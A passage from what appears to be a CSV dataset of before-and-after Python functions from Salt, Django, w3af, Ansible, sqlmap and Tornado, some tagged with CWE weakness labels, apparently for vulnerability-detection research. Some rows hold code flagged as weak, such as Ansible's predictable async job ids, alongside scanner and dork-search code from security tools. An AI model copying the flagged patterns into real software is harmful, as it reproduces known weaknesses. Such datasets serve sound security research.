            ""sock_dir"": ""."",
            ""pki_dir"": str(pki_dir.joinpath(""master"")),
            ""id"": ""minion"",
            ""__role"": ""minion"",
            ""keysize"": 4096,
        }
    )
    server = salt.channel.server.ReqServerChannel.factory(master_opts)
    dictkey = ""pillar""
    nonce = ""abcdefg""
    pillar_data = {""pillar1"": ""meh""}
    try:
        ret = server._encrypt_private(pillar_data, dictkey, ""minion"", nonce)
        assert ""key"" in ret
        assert dictkey in ret

        key = salt.crypt.get_rsa_key(
            str(pki_dir.joinpath(""minion"", ""minion.pem"")), None
        )
        if HAS_M2:
            aes = key.private_decrypt(ret[""key""], RSA.pkcs1_oaep_padding)
        else:
            cipher = PKCS1_OAEP.new(key)
            aes = cipher.decrypt(ret[""key""])
        pcrypt = salt.crypt.Crypticle(master_opts, aes)
        signed_msg = pcrypt.loads(ret[dictkey])

        assert ""sig"" in signed_msg
        assert ""data"" in signed_msg
        data = salt.payload.loads(signed_msg[""data""])
        assert ""key"" in data
        assert data[""key""] == ret[""key""]
        assert ""key"" in data
        assert data[""nonce""] == nonce
        assert ""pillar"" in data
        assert data[""pillar""] == pillar_data
    finally:
        server.close()"
,UNKNOWN,UNKNOWN,django/test/testcases.py,1,"def setUpClass(cls):
        super(LiveServerTestCase, cls).setUpClass()
        connections_override = {}
        for conn in connections.all():
            # If using in-memory sqlite databases, pass the connections to
            # the server thread.
            if conn.vendor == 'sqlite' and conn.is_in_memory_db(conn.settings_dict['NAME']):
                # Explicitly enable thread-shareability for this connection
                conn.allow_thread_sharing = True
                connections_override[conn.alias] = conn

        # Launch the live server's thread
        specified_address = os.environ.get(
            'DJANGO_LIVE_TEST_SERVER_ADDRESS', 'localhost:8081')

        # The specified ports may be of the form '8000-8010,8080,9200-9300'
        # i.e. a comma-separated list of ports or ranges of ports, so we break
        # it down into a detailed list of all possible ports.
        possible_ports = []
        try:
            host, port_ranges = specified_address.split(':')
            for port_range in port_ranges.split(','):
                # A port range can be of either form: '8000' or '8000-8010'.
                extremes = list(map(int, port_range.split('-')))
                assert len(extremes) in [1, 2]
                if len(extremes) == 1:
                    # Port range of the form '8000'
                    possible_ports.append(extremes[0])
                else:
                    # Port range of the form '8000-8010'
                    for port in range(extremes[0], extremes[1] + 1):
                        possible_ports.append(port)
        except Exception:
            msg = 'Invalid address (""%s"") for live server.' % specified_address
            six.reraise(ImproperlyConfigured, ImproperlyConfigured(msg), sys.exc_info()[2])
        cls.server_thread = LiveServerThread(host, possible_ports,
                                             cls.static_handler,
                                             connections_override=connections_override)
        cls.server_thread.daemon = True
        cls.server_thread.start()

        # Wait for the live server to be ready
        cls.server_thread.is_ready.wait()
        if cls.server_thread.error:
            # Clean up behind ourselves, since tearDownClass won't get called in
            # case of errors.
            cls._tearDownClassInternal()
            raise cls.server_thread.error

        super(LiveServerTestCase, cls).setUpClass()",CWE-703,django/django,8c99b7920e8187f98cf4d7dbd9918bd6c6da1238,"def setUpClass(cls):
        super(LiveServerTestCase, cls).setUpClass()
        connections_override = {}
        for conn in connections.all():
            # If using in-memory sqlite databases, pass the connections to
            # the server thread.
            if (conn.vendor == 'sqlite'
                    and conn.settings_dict['NAME'] == ':memory:'):
                # Explicitly enable thread-shareability for this connection
                conn.allow_thread_sharing = True
                connections_override[conn.alias] = conn

        # Launch the live server's thread
        specified_address = os.environ.get(
            'DJANGO_LIVE_TEST_SERVER_ADDRESS', 'localhost:8081')

        # The specified ports may be of the form '8000-8010,8080,9200-9300'
        # i.e. a comma-separated list of ports or ranges of ports, so we break
        # it down into a detailed list of all possible ports.
        possible_ports = []
        try:
            host, port_ranges = specified_address.split(':')
            for port_range in port_ranges.split(','):
                # A port range can be of either form: '8000' or '8000-8010'.
                extremes = list(map(int, port_range.split('-')))
                assert len(extremes) in [1, 2]
                if len(extremes) == 1:
                    # Port range of the form '8000'
                    possible_ports.append(extremes[0])
                else:
                    # Port range of the form '8000-8010'
                    for port in range(extremes[0], extremes[1] + 1):
                        possible_ports.append(port)
        except Exception:
            msg = 'Invalid address (""%s"") for live server.' % specified_address
            six.reraise(ImproperlyConfigured, ImproperlyConfigured(msg), sys.exc_info()[2])
        cls.server_thread = LiveServerThread(host, possible_ports,
                                             cls.static_handler,
                                             connections_override=connections_override)
        cls.server_thread.daemon = True
        cls.server_thread.start()

        # Wait for the live server to be ready
        cls.server_thread.is_ready.wait()
        if cls.server_thread.error:
            # Clean up behind ourselves, since tearDownClass won't get called in
            # case of errors.
            cls._tearDownClassInternal()
            raise cls.server_thread.error

        super(LiveServerTestCase, cls).setUpClass()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/xpath.py,0,"def _analyze_result(self, mutant, response):
        '''
        Analyze results of the _send_mutant method.
        '''
        #
        #   I will only report the vulnerability once.
        #
        if self._has_no_bug(mutant):

            xpath_error_list = self._find_xpath_error(response)
            for xpath_error in xpath_error_list:
                if xpath_error not in mutant.get_original_response_body():
                    
                    desc = 'XPATH injection was found at: %s' % mutant.found_at()
                    
                    v = Vuln.from_mutant('XPATH injection vulnerability', desc,
                                         severity.MEDIUM, response.id,
                                         self.get_name(), mutant)
                    
                    v.add_to_highlight(xpath_error)
                    self.kb_append_uniq(self, 'xpath', v)
                    break",,andresriancho/w3af,92031d99656831175b5960edf34ad5b8428f3694,"def _analyze_result(self, mutant, response):
        '''
        Analyze results of the _send_mutant method.
        '''
        #
        #   I will only report the vulnerability once.
        #
        if self._has_no_bug(mutant):

            xpath_error_list = self._find_xpath_error(response)
            for xpath_error in xpath_error_list:
                if xpath_error not in mutant.get_original_response_body():
                    
                    desc = 'XPATH injection was found at: %s' % mutant.found_at()
                    
                    v = Vuln.from_mutant('XPATH injection vulnerability', desc,
                                         severity.MEDIUM, response.id,
                                         self.get_name(), mutant)
                    
                    v.add_to_highlight(xpath_error)
                    self.kb_append_uniq(self, 'xpath', v)
                    break"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/dc/json_container.py,0,"def iter_bound_tokens(self):
        """"""

        :see: https://github.com/andresriancho/w3af/issues/580
        :see: Mostly used in Mutant._create_mutants_worker
        :yield: Tuples with:
                    - A copy of self
                    - A token set to the right location in the copy of self

                Only for the tokens which have a value with type ""string"",
                this is required, since we don't want to fuzz something which
                was a number with a string like ""abc"", it will simply break the
                server-side framework parsing and don't return anything useful.
        """"""
        for k, v, _ in self.iter_setters():
            dcc = copy.deepcopy(self)
            token = dcc.set_token(k)

            yield dcc, token",,andresriancho/w3af,a18f2cdac7c0651df156a19e173cc04d0d570bf4,"def iter_bound_tokens(self):
        """"""

        :see: https://github.com/andresriancho/w3af/issues/580
        :see: Mostly used in Mutant._create_mutants_worker
        :yield: Tuples with:
                    - A copy of self
                    - A token set to the right location in the copy of self

                Only for the tokens which have a value with type ""string"",
                this is required, since we don't want to fuzz something which
                was a number with a string like ""abc"", it will simply break the
                server-side framework parsing and don't return anything useful.
        """"""
        for k, v, _ in self.iter_setters():
            dcc = copy.deepcopy(self)
            token = dcc.set_token(k)

            yield dcc, token"
,UNKNOWN,UNKNOWN,lib/ansible/executor/powershell/module_manifest.py,1,"def _create_powershell_wrapper(b_module_data, module_path, module_args,
                               environment, async_timeout, become,
                               become_method, become_user, become_password,
                               become_flags, substyle, task_vars):
    # creates the manifest/wrapper used in PowerShell/C# modules to enable
    # things like become and async - this is also called in action/script.py

    # FUTURE: add process_wrapper.ps1 to run module_wrapper in a new process
    # if running under a persistent connection and substyle is C# so we
    # don't have type conflicts
    finder = PSModuleDepFinder()
    if substyle != 'script':
        # don't scan the module for util dependencies and other Ansible related
        # flags if the substyle is 'script' which is set by action/script
        finder.scan_module(b_module_data, powershell=(substyle == ""powershell""))

    module_wrapper = ""module_%s_wrapper"" % substyle
    exec_manifest = dict(
        module_entry=to_text(base64.b64encode(b_module_data)),
        powershell_modules=dict(),
        csharp_utils=dict(),
        csharp_utils_module=list(),  # csharp_utils only required by a module
        module_args=module_args,
        actions=[module_wrapper],
        environment=environment,
        encoded_output=False,
    )
    finder.scan_exec_script(module_wrapper)

    if async_timeout > 0:
        finder.scan_exec_script('exec_wrapper')
        finder.scan_exec_script('async_watchdog')
        finder.scan_exec_script('async_wrapper')

        exec_manifest[""actions""].insert(0, 'async_watchdog')
        exec_manifest[""actions""].insert(0, 'async_wrapper')
        exec_manifest[""async_jid""] = str(random.randint(0, 999999999999))
        exec_manifest[""async_timeout_sec""] = async_timeout
        exec_manifest[""async_startup_timeout""] = C.config.get_config_value(""WIN_ASYNC_STARTUP_TIMEOUT"", variables=task_vars)

    if become and become_method.split('.')[-1] == 'runas':  # runas and namespace.collection.runas
        finder.scan_exec_script('exec_wrapper')
        finder.scan_exec_script('become_wrapper')

        exec_manifest[""actions""].insert(0, 'become_wrapper')
        exec_manifest[""become_user""] = become_user
        exec_manifest[""become_password""] = become_password
        exec_manifest['become_flags'] = become_flags

    exec_manifest['min_ps_version'] = finder.ps_version
    exec_manifest['min_os_version'] = finder.os_version
    if finder.become and 'become_wrapper' not in exec_manifest['actions']:
        finder.scan_exec_script('exec_wrapper')
        finder.scan_exec_script('become_wrapper')

        exec_manifest['actions'].insert(0, 'become_wrapper')
        exec_manifest['become_user'] = 'SYSTEM'
        exec_manifest['become_password'] = None
        exec_manifest['become_flags'] = None

    coverage_manifest = dict(
        module_path=module_path,
        module_util_paths=dict(),
        output=None,
    )
    coverage_output = C.config.get_config_value('COVERAGE_REMOTE_OUTPUT', variables=task_vars)
    if coverage_output and substyle == 'powershell':
        finder.scan_exec_script('coverage_wrapper')
        coverage_manifest['output'] = coverage_output

        coverage_whitelist = C.config.get_config_value('COVERAGE_REMOTE_WHITELIST', variables=task_vars)
        coverage_manifest['whitelist'] = coverage_whitelist

    # make sure Ansible.ModuleUtils.AddType is added if any C# utils are used
    if len(finder.cs_utils_wrapper) > 0 or len(finder.cs_utils_module) > 0:
        finder._add_module((b""Ansible.ModuleUtils.AddType"", "".psm1""),
                           wrapper=False)

    # exec_wrapper is only required to be part of the payload if using
    # become or async, to save on payload space we check if exec_wrapper has
    # already been added, and remove it manually if it hasn't later
    exec_required = ""exec_wrapper"" in finder.exec_scripts.keys()
    finder.scan_exec_script(""exec_wrapper"")
    # must contain an empty newline so it runs the begin/process/end block
    finder.exec_scripts[""exec_wrapper""] += b""\n\n""

    exec_wrapper = finder.exec_scripts[""exec_wrapper""]
    if not exec_required:
        finder.exec_scripts.pop(""exec_wrapper"")

    for name, data in finder.exec_scripts.items():
        b64_data = to_text(base64.b64encode(data))
        exec_manifest[name] = b64_data

    for name, data in finder.ps_modules.items():
        b64_data = to_text(base64.b64encode(data['data']))
        exec_manifest['powershell_modules'][name] = b64_data
        coverage_manifest['module_util_paths'][name] = data['path']

    cs_utils = {}
    for cs_util in [finder.cs_utils_wrapper, finder.cs_utils_module]:
        for name, data in cs_util.items():
            cs_utils[name] = data['data']

    for name, data in cs_utils.items():
        b64_data = to_text(base64.b64encode(data))
        exec_manifest['csharp_utils'][name] = b64_data
    exec_manifest['csharp_utils_module'] = list(finder.cs_utils_module.keys())

    # To save on the data we are sending across we only add the coverage info if coverage is being run
    if 'coverage_wrapper' in exec_manifest:
        exec_manifest['coverage'] = coverage_manifest

    b_json = to_bytes(json.dumps(exec_manifest))
    # delimit the payload JSON from the wrapper to keep sensitive contents out of scriptblocks (which can be logged)
    b_data = exec_wrapper + b'\0\0\0\0' + b_json
    return b_data",CWE-330,ansible/ansible,61f2ae1c26cc5571fe7520b2f01fd851c5f09c9d,"def _create_powershell_wrapper(b_module_data, module_path, module_args,
                               environment, async_timeout, become,
                               become_method, become_user, become_password,
                               become_flags, substyle, task_vars):
    # creates the manifest/wrapper used in PowerShell/C# modules to enable
    # things like become and async - this is also called in action/script.py

    # FUTURE: add process_wrapper.ps1 to run module_wrapper in a new process
    # if running under a persistent connection and substyle is C# so we
    # don't have type conflicts
    finder = PSModuleDepFinder()
    if substyle != 'script':
        # don't scan the module for util dependencies and other Ansible related
        # flags if the substyle is 'script' which is set by action/script
        finder.scan_module(b_module_data, powershell=(substyle == ""powershell""))

    module_wrapper = ""module_%s_wrapper"" % substyle
    exec_manifest = dict(
        module_entry=to_text(base64.b64encode(b_module_data)),
        powershell_modules=dict(),
        csharp_utils=dict(),
        csharp_utils_module=list(),  # csharp_utils only required by a module
        module_args=module_args,
        actions=[module_wrapper],
        environment=environment,
        encoded_output=False,
    )
    finder.scan_exec_script(module_wrapper)

    if async_timeout > 0:
        finder.scan_exec_script('exec_wrapper')
        finder.scan_exec_script('async_watchdog')
        finder.scan_exec_script('async_wrapper')

        exec_manifest[""actions""].insert(0, 'async_watchdog')
        exec_manifest[""actions""].insert(0, 'async_wrapper')
        exec_manifest[""async_jid""] = str(random.randint(0, 999999999999))
        exec_manifest[""async_timeout_sec""] = async_timeout
        exec_manifest[""async_startup_timeout""] = C.config.get_config_value(""WIN_ASYNC_STARTUP_TIMEOUT"", variables=task_vars)

    if become and become_method == 'runas':
        finder.scan_exec_script('exec_wrapper')
        finder.scan_exec_script('become_wrapper')

        exec_manifest[""actions""].insert(0, 'become_wrapper')
        exec_manifest[""become_user""] = become_user
        exec_manifest[""become_password""] = become_password
        exec_manifest['become_flags'] = become_flags

    exec_manifest['min_ps_version'] = finder.ps_version
    exec_manifest['min_os_version'] = finder.os_version
    if finder.become and 'become_wrapper' not in exec_manifest['actions']:
        finder.scan_exec_script('exec_wrapper')
        finder.scan_exec_script('become_wrapper')

        exec_manifest['actions'].insert(0, 'become_wrapper')
        exec_manifest['become_user'] = 'SYSTEM'
        exec_manifest['become_password'] = None
        exec_manifest['become_flags'] = None

    coverage_manifest = dict(
        module_path=module_path,
        module_util_paths=dict(),
        output=None,
    )
    coverage_output = C.config.get_config_value('COVERAGE_REMOTE_OUTPUT', variables=task_vars)
    if coverage_output and substyle == 'powershell':
        finder.scan_exec_script('coverage_wrapper')
        coverage_manifest['output'] = coverage_output

        coverage_whitelist = C.config.get_config_value('COVERAGE_REMOTE_WHITELIST', variables=task_vars)
        coverage_manifest['whitelist'] = coverage_whitelist

    # make sure Ansible.ModuleUtils.AddType is added if any C# utils are used
    if len(finder.cs_utils_wrapper) > 0 or len(finder.cs_utils_module) > 0:
        finder._add_module((b""Ansible.ModuleUtils.AddType"", "".psm1""),
                           wrapper=False)

    # exec_wrapper is only required to be part of the payload if using
    # become or async, to save on payload space we check if exec_wrapper has
    # already been added, and remove it manually if it hasn't later
    exec_required = ""exec_wrapper"" in finder.exec_scripts.keys()
    finder.scan_exec_script(""exec_wrapper"")
    # must contain an empty newline so it runs the begin/process/end block
    finder.exec_scripts[""exec_wrapper""] += b""\n\n""

    exec_wrapper = finder.exec_scripts[""exec_wrapper""]
    if not exec_required:
        finder.exec_scripts.pop(""exec_wrapper"")

    for name, data in finder.exec_scripts.items():
        b64_data = to_text(base64.b64encode(data))
        exec_manifest[name] = b64_data

    for name, data in finder.ps_modules.items():
        b64_data = to_text(base64.b64encode(data['data']))
        exec_manifest['powershell_modules'][name] = b64_data
        coverage_manifest['module_util_paths'][name] = data['path']

    cs_utils = {}
    for cs_util in [finder.cs_utils_wrapper, finder.cs_utils_module]:
        for name, data in cs_util.items():
            cs_utils[name] = data['data']

    for name, data in cs_utils.items():
        b64_data = to_text(base64.b64encode(data))
        exec_manifest['csharp_utils'][name] = b64_data
    exec_manifest['csharp_utils_module'] = list(finder.cs_utils_module.keys())

    # To save on the data we are sending across we only add the coverage info if coverage is being run
    if 'coverage_wrapper' in exec_manifest:
        exec_manifest['coverage'] = coverage_manifest

    b_json = to_bytes(json.dumps(exec_manifest))
    # delimit the payload JSON from the wrapper to keep sensitive contents out of scriptblocks (which can be logged)
    b_data = exec_wrapper + b'\0\0\0\0' + b_json
    return b_data"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/service.py,1,"def run(self, tmp=None, task_vars=None):
        ''' handler for package operations '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        module = self._task.args.get('use', 'auto').lower()

        if module == 'auto':
            try:
                module = self._templar.template('{{ansible_service_mgr}}')
            except:
                pass # could not get it from template!

        if module == 'auto':
            facts = self._execute_module(module_name='setup', module_args=dict(gather_subset='!all', filter='ansible_service_mgr'), task_vars=task_vars)
            self._display.debug(""Facts %s"" % facts)
            if 'ansible_facts' in facts and  'ansible_service_mgr' in facts['ansible_facts']:
                module = facts['ansible_facts']['ansible_service_mgr']

        if not module or module == 'auto' or module not in self._shared_loader_obj.module_loader:
            module = 'service'

        if module != 'auto':
            # run the 'service' module
            new_module_args = self._task.args.copy()
            if 'use' in new_module_args:
                del new_module_args['use']

            self._display.vvvv(""Running %s"" % module)
            result.update(self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars))
        else:
            result['failed'] = True
            result['msg'] = 'Could not detect which service manager to use. Try gathering facts or setting the ""use"" option.'

        return result",CWE-703,ansible/ansible,6a0a36674695b7ef1337d82c493fa60d24482204,"def run(self, tmp=None, task_vars=None):
        ''' handler for package operations '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        module = self._task.args.get('use', 'auto')

        if module == 'auto':
            try:
                module = self._templar.template('{{ansible_service_mgr}}')
            except:
                pass # could not get it from template!

        if module == 'auto':
            facts = self._execute_module(module_name='setup', module_args=dict(gather_subset='!all', filter='ansible_service_mgr'), task_vars=task_vars)
            self._display.debug(""Facts %s"" % facts)
            if 'failed' not in facts:
                module = getattr(facts['ansible_facts'], 'ansible_service_mgr', 'auto')

        if not module or module == 'auto' or module not in self._shared_loader_obj.module_loader:
            module = 'service'

        if module != 'auto':
            # run the 'service' module
            new_module_args = self._task.args.copy()
            if 'use' in new_module_args:
                del new_module_args['use']

            self._display.vvvv(""Running %s"" % module)
            result.update(self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars))
        else:
            result['failed'] = True
            result['msg'] = 'Could not detect which service manager to use. Try gathering facts or setting the ""use"" option.'

        return result"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/db/tests/test_variant_db.py,0,"def test_db_int_str_then_int_int(self):
        url_fmt = 'http://w3af.org/foo.htm?id=%s&bar=%s'

        # Add (int, str)
        for i in xrange(PARAMS_MAX_VARIANTS):
            url = URL(url_fmt % (i, 'abc' * i))
            self.assertTrue(self.vdb.append(fr(url)))

        # Add (int, int)
        for i in xrange(PARAMS_MAX_VARIANTS):
            url = URL(url_fmt % (i, i))
            self.assertTrue(self.vdb.append(fr(url)))

        url = URL(url_fmt % (PARAMS_MAX_VARIANTS + 1, PARAMS_MAX_VARIANTS + 1))
        self.assertFalse(self.vdb.append(fr(url)))

        url = URL(url_fmt % (PARAMS_MAX_VARIANTS + 1, 'spameggs'))
        self.assertFalse(self.vdb.append(fr(url)))",,andresriancho/w3af,775a4450360588b2f81e79494d630f2a6a950144,"def test_db_int_str_then_int_int(self):
        url_fmt = 'http://w3af.org/foo.htm?id=%s&bar=%s'

        # Add (int, str)
        for i in xrange(PARAMS_MAX_VARIANTS):
            url = URL(url_fmt % (i, 'abc' * i))
            self.assertTrue(self.vdb.append(fr(url)))

        # Please note that in this case I'm asking for (int, int) and I added
        # (int, str) before
        url = URL(url_fmt % (PARAMS_MAX_VARIANTS + 1, PARAMS_MAX_VARIANTS + 1))
        self.assertTrue(self.vdb.append(fr(url)))

        # Add (int, int)
        for i in xrange(PARAMS_MAX_VARIANTS):
            url = URL(url_fmt % (i, i))
            self.assertTrue(self.vdb.append(fr(url)))

        url = URL(url_fmt % (PARAMS_MAX_VARIANTS + 1, PARAMS_MAX_VARIANTS + 1))
        self.assertFalse(self.vdb.append(fr(url)))"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/utils/search.py,0,"def _search(dork):
    """"""
    This method performs the effective search on Google providing
    the google dork and the Google session cookie
    """"""

    if not dork:
        return None

    page = None
    data = None
    requestHeaders = {}
    responseHeaders = {}

    requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT)
    requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE

    try:
        req = _urllib.request.Request(""https://www.google.com/ncr"", headers=requestHeaders)
        conn = _urllib.request.urlopen(req)
    except Exception as ex:
        errMsg = ""unable to connect to Google ('%s')"" % getSafeExString(ex)
        raise SqlmapConnectionException(errMsg)

    gpage = conf.googlePage if conf.googlePage > 1 else 1
    logger.info(""using search result page #%d"" % gpage)

    url = ""https://www.google.com/search?""
    url += ""q=%s&"" % urlencode(dork, convall=True)
    url += ""num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search""
    url += ""&start=%d"" % ((gpage - 1) * 100)

    try:
        req = _urllib.request.Request(url, headers=requestHeaders)
        conn = _urllib.request.urlopen(req)

        requestMsg = ""HTTP request:\nGET %s"" % url
        requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str
        logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

        page = conn.read()
        code = conn.code
        status = conn.msg
        responseHeaders = conn.info()

        responseMsg = ""HTTP response (%s - %d):\n"" % (status, code)

        if conf.verbose <= 4:
            responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
        elif conf.verbose > 4:
            responseMsg += ""%s\n%s\n"" % (responseHeaders, page)

        logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
    except _urllib.error.HTTPError as ex:
        try:
            page = ex.read()
            responseHeaders = ex.info()
        except Exception as _:
            warnMsg = ""problem occurred while trying to get ""
            warnMsg += ""an error page information (%s)"" % getSafeExString(_)
            logger.critical(warnMsg)
            return None
    except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError):
        errMsg = ""unable to connect to Google""
        raise SqlmapConnectionException(errMsg)

    page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))

    page = getUnicode(page)  # Note: if upper function call fails (Issue #4202)

    retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)]

    if not retVal and ""detected unusual traffic"" in page:
        warnMsg = ""Google has detected 'unusual' traffic from ""
        warnMsg += ""used IP address disabling further searches""

        if conf.proxyList:
            raise SqlmapBaseException(warnMsg)
        else:
            logger.critical(warnMsg)

    if not retVal:
        message = ""no usable links found. What do you want to do?""
        message += ""\n[1] (re)try with DuckDuckGo (default)""
        message += ""\n[2] (re)try with Bing""
        message += ""\n[3] quit""
        choice = readInput(message, default='1')

        if choice == '3':
            raise SqlmapUserQuitException
        elif choice == '2':
            url = ""https://www.bing.com/search?q=%s&first=%d"" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1)
            regex = BING_REGEX
        else:
            url = ""https://html.duckduckgo.com/html/""
            data = ""q=%s&s=%d"" % (urlencode(dork, convall=True), (gpage - 1) * 30)
            regex = DUCKDUCKGO_REGEX

        try:
            req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders)
            conn = _urllib.request.urlopen(req)

            requestMsg = ""HTTP request:\nGET %s"" % url
            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str
            logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

            page = conn.read()
            code = conn.code
            status = conn.msg
            responseHeaders = conn.info()
            page = decodePage(page, responseHeaders.get(""Content-Encoding""), responseHeaders.get(""Content-Type""))

            responseMsg = ""HTTP response (%s - %d):\n"" % (status, code)

            if conf.verbose <= 4:
                responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
            elif conf.verbose > 4:
                responseMsg += ""%s\n%s\n"" % (responseHeaders, page)

            logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
        except _urllib.error.HTTPError as ex:
            try:
                page = ex.read()
                page = decodePage(page, ex.headers.get(""Content-Encoding""), ex.headers.get(""Content-Type""))
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.critical(warnMsg)
                return None
        except:
            errMsg = ""unable to connect""
            raise SqlmapConnectionException(errMsg)

        retVal = [_urllib.parse.unquote(match.group(1).replace(""&amp;"", ""&"")) for match in re.finditer(regex, page, re.I | re.S)]

        if not retVal and ""issue with the Tor Exit Node you are currently using"" in page:
            warnMsg = ""DuckDuckGo has detected 'unusual' traffic from ""
            warnMsg += ""used (Tor) IP address""

            if conf.proxyList:
                raise SqlmapBaseException(warnMsg)
            else:
                logger.critical(warnMsg)

    return retVal",,sqlmapproject/sqlmap,5bf52c3f9c162cdce03b9db01f13b8e0bdcb2e09,"def _search(dork):
    """"""
    This method performs the effective search on Google providing
    the google dork and the Google session cookie
    """"""

    if not dork:
        return None

    page = None
    data = None
    requestHeaders = {}
    responseHeaders = {}

    requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT)
    requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE

    try:
        req = _urllib.request.Request(""https://www.google.com/ncr"", headers=requestHeaders)
        conn = _urllib.request.urlopen(req)
    except Exception as ex:
        errMsg = ""unable to connect to Google ('%s')"" % getSafeExString(ex)
        raise SqlmapConnectionException(errMsg)

    gpage = conf.googlePage if conf.googlePage > 1 else 1
    logger.info(""using search result page #%d"" % gpage)

    url = ""https://www.google.com/search?""
    url += ""q=%s&"" % urlencode(dork, convall=True)
    url += ""num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search""
    url += ""&start=%d"" % ((gpage - 1) * 100)

    try:
        req = _urllib.request.Request(url, headers=requestHeaders)
        conn = _urllib.request.urlopen(req)

        requestMsg = ""HTTP request:\nGET %s"" % url
        requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str
        logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

        page = conn.read()
        code = conn.code
        status = conn.msg
        responseHeaders = conn.info()

        responseMsg = ""HTTP response (%s - %d):\n"" % (status, code)

        if conf.verbose <= 4:
            responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
        elif conf.verbose > 4:
            responseMsg += ""%s\n%s\n"" % (responseHeaders, page)

        logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
    except _urllib.error.HTTPError as ex:
        try:
            page = ex.read()
            responseHeaders = ex.info()
        except Exception as _:
            warnMsg = ""problem occurred while trying to get ""
            warnMsg += ""an error page information (%s)"" % getSafeExString(_)
            logger.critical(warnMsg)
            return None
    except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError):
        errMsg = ""unable to connect to Google""
        raise SqlmapConnectionException(errMsg)

    page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))

    page = getUnicode(page)  # Note: if upper function call fails (Issue #4202)

    retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)]

    if not retVal and ""detected unusual traffic"" in page:
        warnMsg = ""Google has detected 'unusual' traffic from ""
        warnMsg += ""used IP address disabling further searches""

        if conf.proxyList:
            raise SqlmapBaseException(warnMsg)
        else:
            logger.critical(warnMsg)

    if not retVal:
        message = ""no usable links found. What do you want to do?""
        message += ""\n[1] (re)try with DuckDuckGo (default)""
        message += ""\n[2] (re)try with Bing""
        message += ""\n[3] quit""
        choice = readInput(message, default='1')

        if choice == '3':
            raise SqlmapUserQuitException
        elif choice == '2':
            url = ""https://www.bing.com/search?q=%s&first=%d"" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1)
            regex = BING_REGEX
        else:
            url = ""https://duckduckgo.com/html/""
            data = ""q=%s&s=%d"" % (urlencode(dork, convall=True), (gpage - 1) * 30)
            regex = DUCKDUCKGO_REGEX

        try:
            req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders)
            conn = _urllib.request.urlopen(req)

            requestMsg = ""HTTP request:\nGET %s"" % url
            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str
            logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

            page = conn.read()
            code = conn.code
            status = conn.msg
            responseHeaders = conn.info()
            page = decodePage(page, responseHeaders.get(""Content-Encoding""), responseHeaders.get(""Content-Type""))

            responseMsg = ""HTTP response (%s - %d):\n"" % (status, code)

            if conf.verbose <= 4:
                responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
            elif conf.verbose > 4:
                responseMsg += ""%s\n%s\n"" % (responseHeaders, page)

            logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
        except _urllib.error.HTTPError as ex:
            try:
                page = ex.read()
                page = decodePage(page, ex.headers.get(""Content-Encoding""), ex.headers.get(""Content-Type""))
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.critical(warnMsg)
                return None
        except:
            errMsg = ""unable to connect""
            raise SqlmapConnectionException(errMsg)

        retVal = [_urllib.parse.unquote(match.group(1).replace(""&amp;"", ""&"")) for match in re.finditer(regex, page, re.I | re.S)]

        if not retVal and ""issue with the Tor Exit Node you are currently using"" in page:
            warnMsg = ""DuckDuckGo has detected 'unusual' traffic from ""
            warnMsg += ""used (Tor) IP address""

            if conf.proxyList:
                raise SqlmapBaseException(warnMsg)
            else:
                logger.critical(warnMsg)

    return retVal"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/locale_test.py,0,"def test_format_date(self):
